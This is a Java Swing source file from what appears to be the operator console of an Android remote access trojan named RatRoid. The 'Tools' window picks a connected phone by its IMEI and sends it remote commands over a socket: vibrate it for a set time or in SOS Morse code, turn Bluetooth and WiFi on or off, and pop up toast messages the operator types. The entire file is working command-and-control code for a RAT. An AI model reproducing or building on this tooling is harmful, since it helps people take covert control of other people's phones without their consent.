/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package GUI;

import Control.Clients;
import Control.ThreadHandle;
import RatRoid.Main;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import javax.swing.JOptionPane;
import javax.swing.SwingWorker;

/**
 *
 * @author Sam
 */
public class Tools extends javax.swing.JFrame {

    /**
     * Creates new form Tools
     */
    public Tools(String x) {
        imei = x;
        initComponents();
        this.setIconImage(new javax.swing.ImageIcon(getClass().getResource("/res/logo.png")).getImage());
        this.setVisible(true);
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {
        java.awt.GridBagConstraints gridBagConstraints;

        jPanel1 = new javax.swing.JPanel();
        jLabel1 = new javax.swing.JLabel();
        timespin = new javax.swing.JSpinner();
        jLabel2 = new javax.swing.JLabel();
        vib1button = new javax.swing.JButton();
        jLabel3 = new javax.swing.JLabel();
        vib2button = new javax.swing.JButton();
        jPanel2 = new javax.swing.JPanel();
        jLabel4 = new javax.swing.JLabel();
        btacbutton = new javax.swing.JButton();
        btdebutton = new javax.swing.JButton();
        jLabel5 = new javax.swing.JLabel();
        wfacbutton = new javax.swing.JButton();
        wfdebutton = new javax.swing.JButton();
        jPanel3 = new javax.swing.JPanel();
        jLabel6 = new javax.swing.JLabel();
        jScrollPane1 = new javax.swing.JScrollPane();
        toasttxt = new javax.swing.JTextArea();
        jButton5 = new javax.swing.JButton();

        setMinimumSize(new java.awt.Dimension(430, 450));
        setPreferredSize(new java.awt.Dimension(460, 500));
        getContentPane().setLayout(new java.awt.GridBagLayout());

        jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED, new java.awt.Color(0, 204, 0), new java.awt.Color(0, 102, 102), null, null), "Vibration", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, null, new java.awt.Color(0, 204, 0)));
        jPanel1.setMinimumSize(new java.awt.Dimension(100, 45));
        jPanel1.setLayout(new java.awt.GridBagLayout());

        jLabel1.setText("Vibrate Device for ");
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 0;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.anchor = java.awt.GridBagConstraints.LINE_START;
        gridBagConstraints.weighty = 1.0;
        gridBagConstraints.insets = new java.awt.Insets(0, 49, 14, 0);
        jPanel1.add(jLabel1, gridBagConstraints);

        timespin.setModel(new javax.swing.SpinnerNumberModel(0, 0, 200, 1));
        timespin.setPreferredSize(new java.awt.Dimension(52, 20));
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.insets = new java.awt.Insets(0, 6, 14, 5);
        jPanel1.add(timespin, gridBagConstraints);

        jLabel2.setText(" Seconds");
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.weighty = 1.0;
        gridBagConstraints.insets = new java.awt.Insets(0, 4, 14, 4);
        jPanel1.add(jLabel2, gridBagConstraints);

        vib1button.setText("Vibrate It!");
        vib1button.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                vib1buttonActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.insets = new java.awt.Insets(0, 9, 14, 0);
        jPanel1.add(vib1button, gridBagConstraints);

        jLabel3.setText("Vibrate Device Using SOS Morse Code");
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.gridwidth = 3;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.anchor = java.awt.GridBagConstraints.LINE_START;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.weighty = 1.0;
        gridBagConstraints.insets = new java.awt.Insets(0, 49, 0, 0);
        jPanel1.add(jLabel3, gridBagConstraints);

        vib2button.setText("Morse It!");
        vib2button.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                vib2buttonActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 3;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.insets = new java.awt.Insets(0, 6, 0, 0);
        jPanel1.add(vib2button, gridBagConstraints);

        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 0;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.weighty = 1.0;
        getContentPane().add(jPanel1, gridBagConstraints);

        jPanel2.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 204), 2), "Services", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, null, new java.awt.Color(0, 204, 0)));
        jPanel2.setMinimumSize(new java.awt.Dimension(100, 45));
        jPanel2.setPreferredSize(new java.awt.Dimension(100, 100));
        jPanel2.setLayout(new java.awt.GridBagLayout());

        jLabel4.setText("BlueTooth ");
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.anchor = java.awt.GridBagConstraints.LINE_START;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.weighty = 1.0;
        gridBagConstraints.insets = new java.awt.Insets(0, 50, 7, 33);
        jPanel2.add(jLabel4, gridBagConstraints);

        btacbutton.setText("Activate");
        btacbutton.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btacbuttonActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.insets = new java.awt.Insets(0, 6, 7, 6);
        jPanel2.add(btacbutton, gridBagConstraints);

        btdebutton.setText("Desactivate");
        btdebutton.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btdebuttonActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.insets = new java.awt.Insets(0, 6, 7, 6);
        jPanel2.add(btdebutton, gridBagConstraints);

        jLabel5.setText("Wifi");
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.anchor = java.awt.GridBagConstraints.LINE_START;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.weighty = 1.0;
        gridBagConstraints.insets = new java.awt.Insets(0, 50, 0, 33);
        jPanel2.add(jLabel5, gridBagConstraints);

        wfacbutton.setText("Activate");
        wfacbutton.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                wfacbuttonActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 1;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.insets = new java.awt.Insets(0, 6, 0, 6);
        jPanel2.add(wfacbutton, gridBagConstraints);

        wfdebutton.setText("Desactivate");
        wfdebutton.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                wfdebuttonActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 2;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.insets = new java.awt.Insets(0, 6, 0, 6);
        jPanel2.add(wfdebutton, gridBagConstraints);

        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.weighty = 1.0;
        getContentPane().add(jPanel2, gridBagConstraints);

        jPanel3.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(204, 0, 51), 2), "Toasts", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, null, new java.awt.Color(0, 204, 0)));
        jPanel3.setMaximumSize(new java.awt.Dimension(405, 35));
        jPanel3.setMinimumSize(new java.awt.Dimension(100, 30));
        jPanel3.setPreferredSize(new java.awt.Dimension(405, 205));
        jPanel3.setLayout(new java.awt.GridBagLayout());

        jLabel6.setText("Enter the Toast Message to show on device :");
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 0;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.anchor = java.awt.GridBagConstraints.LINE_START;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.insets = new java.awt.Insets(0, 3, 7, 0);
        jPanel3.add(jLabel6, gridBagConstraints);

        toasttxt.setColumns(20);
        toasttxt.setRows(5);
        jScrollPane1.setViewportView(toasttxt);

        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.anchor = java.awt.GridBagConstraints.LINE_START;
        gridBagConstraints.insets = new java.awt.Insets(0, 3, 7, 0);
        jPanel3.add(jScrollPane1, gridBagConstraints);

        jButton5.setText("Show Toast!");
        jButton5.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton5ActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 2;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.anchor = java.awt.GridBagConstraints.LINE_START;
        gridBagConstraints.insets = new java.awt.Insets(0, 3, 7, 0);
        jPanel3.add(jButton5, gridBagConstraints);

        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 2;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.weighty = 1.0;
        getContentPane().add(jPanel3, gridBagConstraints);

        pack();
    }// </editor-fold>//GEN-END:initComponents

    private void vib2buttonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_vib2buttonActionPerformed
        SwingWorker worker = new SwingWorker<Void, Void>() {

            @Override
            protected Void doInBackground() throws Exception {
                vib2(Main.threads);
                return null;
            }
        };
        worker.execute();
    }//GEN-LAST:event_vib2buttonActionPerformed

    private void vib1buttonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_vib1buttonActionPerformed

        SwingWorker worker = new SwingWorker<Void, Void>() {

            @Override
            protected Void doInBackground() throws Exception {
                vib1(Main.threads);
                return null;
            }
        };
        worker.execute();
    }//GEN-LAST:event_vib1buttonActionPerformed

    private void btacbuttonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btacbuttonActionPerformed
        SwingWorker worker = new SwingWorker<Void, Void>() {

            @Override
            protected Void doInBackground() throws Exception {
                btactive(Main.threads);
                return null;
            }
        };
        worker.execute();
    }//GEN-LAST:event_btacbuttonActionPerformed

    private void btdebuttonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btdebuttonActionPerformed
        SwingWorker worker = new SwingWorker<Void, Void>() {

            @Override
            protected Void doInBackground() throws Exception {
                btdesactive(Main.threads);
                return null;
            }
        };
        worker.execute();
    }//GEN-LAST:event_btdebuttonActionPerformed

    private void wfacbuttonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_wfacbuttonActionPerformed
        SwingWorker worker = new SwingWorker<Void, Void>() {

            @Override
            protected Void doInBackground() throws Exception {
                wifiactive(Main.threads);
                return null;
            }
        };
        worker.execute();    }//GEN-LAST:event_wfacbuttonActionPerformed

    private void wfdebuttonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_wfdebuttonActionPerformed
        SwingWorker worker = new SwingWorker<Void, Void>() {

            @Override
            protected Void doInBackground() throws Exception {
                wifidesactive(Main.threads);
                return null;
            }
        };
        worker.execute();
    }//GEN-LAST:event_wfdebuttonActionPerformed

    private void jButton5ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton5ActionPerformed
        SwingWorker worker = new SwingWorker<Void, Void>() {

            @Override
            protected Void doInBackground() throws Exception {
                toast(Main.threads);
                return null;
            }
        };
        worker.execute();    }//GEN-LAST:event_jButton5ActionPerformed
    public void vib1(ThreadHandle thlist) {

        for (final Clients client1 : thlist.getthreads()) {
            if (client1.getthread().getName().equals(imei)) {
                if (client1.available) {
                    client1.available = false;
                    client1.doing = " This Client is Vibrating Device, please try again in a second ";
                    try {
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("vib1" + imei);
                        out.flush();

                        in1 = new PrintWriter(client1.getsocket().getOutputStream());
                        in = new BufferedReader(new InputStreamReader(client1.getsocket().getInputStream()));
                        String lsnmsg = in.readLine();
                        Integer time = (Integer) timespin.getValue();
                        recep1 = new String[]{time.toString()};
                        is1 = client1.getsocket().getOutputStream();
                        ois1 = new ObjectOutputStream(is1);
                        ois1.writeObject(recep1);
                        ois1.flush();
                        client1.available = true;
                    } catch (IOException e) {
                        client1.available = true;
                        this.dispose();

                    } catch (NullPointerException e) {
                        client1.available = true;
                    }
                } else {
                    Thread msgThread = new Thread(new Runnable() {
                        @Override
                        public void run() {
                            JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                        }
                    });
                    msgThread.start();
                }
            }
        }

    }

    public void vib2(ThreadHandle thlist) {

        for (final Clients client1 : thlist.getthreads()) {
            if (client1.getthread().getName().equals(imei)) {
                if (client1.available) {
                    client1.available = false;
                    client1.doing = " This Client is Vibrating Device List, please try again in a second ";
                    try {
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("vib2" + imei);
                        out.flush();
                        client1.available = true;
                    } catch (IOException e) {
                        client1.available = true;
                        this.dispose();

                    } catch (NullPointerException e) {
                        client1.available = true;
                    }
                } else {
                    Thread msgThread = new Thread(new Runnable() {
                        @Override
                        public void run() {
                            JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                        }
                    });
                    msgThread.start();
                }
            }
        }

    }

    public void btactive(ThreadHandle thlist) {

        for (final Clients client1 : thlist.getthreads()) {
            if (client1.getthread().getName().equals(imei)) {
                if (client1.available) {
                    client1.available = false;
                    client1.doing = " This Client is Activating Bluetooth, please try again in a second ";
                    try {
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("btac" + imei);
                        out.flush();
                        client1.available = true;
                    } catch (IOException e) {
                        client1.available = true;
                        this.dispose();

                    } catch (NullPointerException e) {
                        client1.available = true;
                    }
                } else {
                    Thread msgThread = new Thread(new Runnable() {
                        @Override
                        public void run() {
                            JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                        }
                    });
                    msgThread.start();
                }
            }
        }

    }

    public void btdesactive(ThreadHandle thlist) {

        for (final Clients client1 : thlist.getthreads()) {
            if (client1.getthread().getName().equals(imei)) {
                if (client1.available) {
                    client1.available = false;
                    client1.doing = " This Client is Desactivating Bluetooth, please try again in a second ";
                    try {
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("btde" + imei);
                        out.flush();
                        client1.available = true;
                    } catch (IOException e) {
                        client1.available = true;
                        this.dispose();

                    } catch (NullPointerException e) {
                        client1.available = true;
                    }
                } else {
                    Thread msgThread = new Thread(new Runnable() {
                        @Override
                        public void run() {
                            JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                        }
                    });
                    msgThread.start();
                }
            }
        }

    }

    public void wifiactive(ThreadHandle thlist) {

        for (final Clients client1 : thlist.getthreads()) {
            if (client1.getthread().getName().equals(imei)) {
                if (client1.available) {
                    client1.available = false;
                    client1.doing = " This Client is Activating WiFi, please try again in a second ";
                    try {
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("wfac" + imei);
                        out.flush();
                        client1.available = true;
                    } catch (IOException e) {
                        client1.available = true;
                        this.dispose();

                    } catch (NullPointerException e) {
                        client1.available = true;
                    }
                } else {
                    Thread msgThread = new Thread(new Runnable() {
                        @Override
                        public void run() {
                            JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                        }
                    });
                    msgThread.start();
                }
            }
        }

    }

    public void wifidesactive(ThreadHandle thlist) {

        for (final Clients client1 : thlist.getthreads()) {
            if (client1.getthread().getName().equals(imei)) {
                if (client1.available) {
                    client1.available = false;
                    client1.doing = " This Client is Desactivating WiFi, please try again in a second ";
                    try {
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("wfde" + imei);
                        out.flush();
                        client1.available = true;
                    } catch (IOException e) {
                        client1.available = true;
                        this.dispose();

                    } catch (NullPointerException e) {
                        client1.available = true;
                    }
                } else {
                    Thread msgThread = new Thread(new Runnable() {
                        @Override
                        public void run() {
                            JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                        }
                    });
                    msgThread.start();
                }
            }
        }

    }

    public void toast(ThreadHandle thlist) {

        for (final Clients client1 : thlist.getthreads()) {
            if (client1.getthread().getName().equals(imei)) {
                if (client1.available) {
                    client1.available = false;
                    client1.doing = " This Client is Sending a toast message, please try again in a second ";
                    try {
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("toast" + imei);
                        out.flush();

                        in1 = new PrintWriter(client1.getsocket().getOutputStream());
                        in = new BufferedReader(new InputStreamReader(client1.getsocket().getInputStream()));
                        String lsnmsg = in.readLine();
                        String phonetext = toasttxt.getText();
                        if (phonetext.isEmpty()) {
                            phonetext = " ";
                        }
                        recep1 = new String[]{phonetext};
                        is1 = client1.getsocket().getOutputStream();
                        ois1 = new ObjectOutputStream(is1);
                        ois1.writeObject(recep1);
                        ois1.flush();
                        client1.available = true;
                        JOptionPane.showMessageDialog(this, "Sent Successfully !", "Toast Sent!", JOptionPane.INFORMATION_MESSAGE);
                    } catch (IOException e) {
                        this.dispose();
                        client1.available = true;
                    }

                } else {
                    Thread msgThread = new Thread(new Runnable() {
                        @Override
                        public void run() {
                            JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                        }
                    });
                    msgThread.start();
                }
            }
        }
    }
    private PrintWriter out;
    private PrintWriter in1;
    private BufferedReader in;
    private String[] recep1;
    private OutputStream is1;
    private ObjectOutputStream ois1;
    private String imei;
    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton btacbutton;
    private javax.swing.JButton btdebutton;
    private javax.swing.JButton jButton5;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel3;
    private javax.swing.JLabel jLabel4;
    private javax.swing.JLabel jLabel5;
    private javax.swing.JLabel jLabel6;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JPanel jPanel2;
    private javax.swing.JPanel jPanel3;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JSpinner timespin;
    private javax.swing.JTextArea toasttxt;
    private javax.swing.JButton vib1button;
    private javax.swing.JButton vib2button;
    private javax.swing.JButton wfacbutton;
    private javax.swing.JButton wfdebutton;
    // End of variables declaration//GEN-END:variables
}
